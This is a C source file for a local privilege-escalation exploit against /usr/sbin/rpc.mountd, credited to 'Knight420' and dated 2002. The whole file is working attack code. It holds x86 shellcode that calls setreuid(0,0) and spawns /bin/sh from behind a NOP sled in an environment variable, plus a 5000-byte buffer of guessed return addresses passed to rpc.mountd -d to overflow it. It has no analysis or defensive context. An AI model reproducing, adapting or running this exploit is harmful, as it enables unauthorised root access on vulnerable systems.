/*
* /usr/sbin/rpc.mountd Local Exploit
* by: Knight420
* /09/08/02/
* Tested on Slackware 8.1 but not suid
*
*/

#include <stdio.h>

#define STACK_START 0xC0000000

char shellcode[] =
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\xeb\x1d"
        "\x5e\x88\x46\x07\x89\x46\x0c\x89\x76\x08\x89\xf3"
        "\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0"
        "\x31\xdb\x40\xcd\x80\xe8\xde\xff\xff\xff/bin/sh";

int main(int argc, char *argv[]) {
        char buff[5000];
        char buff2[5000];
        int *ptr;
        int ret;
        char *arg[] = { "rpc.mountd","-d",buff,NULL } ;
        char *env[] = { buff2, NULL };

        if(argc < 2) {
                printf("Usage: %s <ret>\n",argv[0]);
                exit(0);
        }

        ret = STACK_START - atoi(argv[1]);

        for(ptr = (int*)&buff[0]; ptr < (int*)&buff[5000]; ptr++)
                *ptr = ret;
        buff[sizeof(buff)-1] = 0;

        snprintf(buff2,sizeof(buff2),"SHELL=%s",shellcode);

  printf ("rpc.mountd Local Exploit by: Knight420\n");
        printf ("Return Addr: %p\n",ret);
        printf ("Spawning sh3ll\n");
        execve("/usr/sbin/rpc.mountd",arg,env);
}